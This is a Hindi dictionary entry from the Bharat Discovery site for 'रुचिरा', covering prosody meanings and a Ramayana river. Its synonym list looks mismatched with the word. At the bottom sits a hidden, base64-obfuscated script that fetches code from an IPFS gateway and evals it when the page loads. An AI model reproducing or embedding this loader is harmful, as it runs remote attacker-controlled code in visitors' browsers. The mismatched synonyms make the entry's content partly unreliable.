रुचिरा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
शब्द संदर्भ
हिन्दी एक सममात्रिक छन्द जिसके प्रत्येक चरण, में 30 मात्राएँ होती हैं, 14-16 पर यति होती है, अंत में गुरु होता है तथा चौकलों में जगण का निषेध होता है, समवर्णिक छ्न्द जिसके प्रत्येक चरण में क्रमश: जगण, भगण, सगण, जगण और गुरु (ज,भ,स,ज,ग,) के योग से 13 वर्ण होते हैं और 4-9 पर यति होती है, रामायण के अनुसार एक प्राचीन नदी।
-व्याकरण    विशेषण, स्त्रीलिंग
-उदाहरण  
-विशेष   
-विलोम   
-पर्यायवाची    गुप्तक, मुरई, कंदमूल।
संस्कृत
अन्य ग्रंथ
संबंधित शब्द रुचिर
संबंधित लेख

अन्य शब्दों के अर्थ के लिए देखें शब्द संदर्भ कोश
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>